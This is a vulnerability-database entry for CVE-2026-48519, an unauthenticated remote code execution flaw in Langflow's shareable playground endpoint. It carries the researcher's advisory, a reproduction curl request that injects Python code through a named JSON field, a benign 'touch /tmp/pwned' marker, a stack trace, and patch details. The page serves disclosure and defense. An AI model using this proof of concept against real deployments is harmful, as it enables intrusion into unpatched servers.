CVE-2026-48519Critical· 9.6▾ AbyssalPoC availableLangflow: Unauthenticated RCE in Shareable Playgrounds
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 52.8 · likelihood 0.2 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 4.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.7%
0.7% → 0.8%
1 GitHub repo
The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.
Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe
Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.
Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID.
When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!
The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.
Reproduction:
/api/v1/build_public_tmp route and copy as cURLdata.nodes[X].data.node.template.code.value JSON field with any python code and run the cURL command.Example PoC (replace flow ID with the correct one), and download test_with_python.json:
curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
-H 'Content-Type: application/json' \
-b 'client_id=anything' \
--data-raw "$(cat test_with_python.json)"
Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.
The stacktrace for the code executed is:
...
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
ids, vertices_to_run, graph = await build_graph_and_get_order()
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
graph = await create_graph(fresh_session, flow_id_str, flow_name)
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
return await build_graph_from_data(
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
graph.add_nodes_and_edges(vertices, edges)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
self.initialize()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
self._build_graph()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
self._instantiate_components_in_vertices()
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
vertex.instantiate_component(self.user_id)
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
self.custom_component, _ = initialize.loading.instantiate_class(
File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
custom_component: CustomComponent | Component = class_object(
File "<string>", line 59, in __init__
Unauthenticated RCE on any deployment with a shareable playground.
Ori Lahav Security Researcher @ Rubrik Inc.
langflow <= 1.9.1Upgrade to a patched release:
langflow 1.9.2Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2025-3248Critical· 9.8Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint
CVE-2026-78571High· 8.8IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an unguarded eval() call on attacker-controlled input.
CVE-2026-79742High· 8.8IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an incomplete environment variable blocklist.
CVE-2026-81204Critical· 9.8IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary code due to code injection during graph construction.
CVE-2026-81940High· 8.8IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special characters in flow display names.
CVE-2026-19298High· 8.8IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to execute arbitrary code due to an authorization bypass in the flow build process.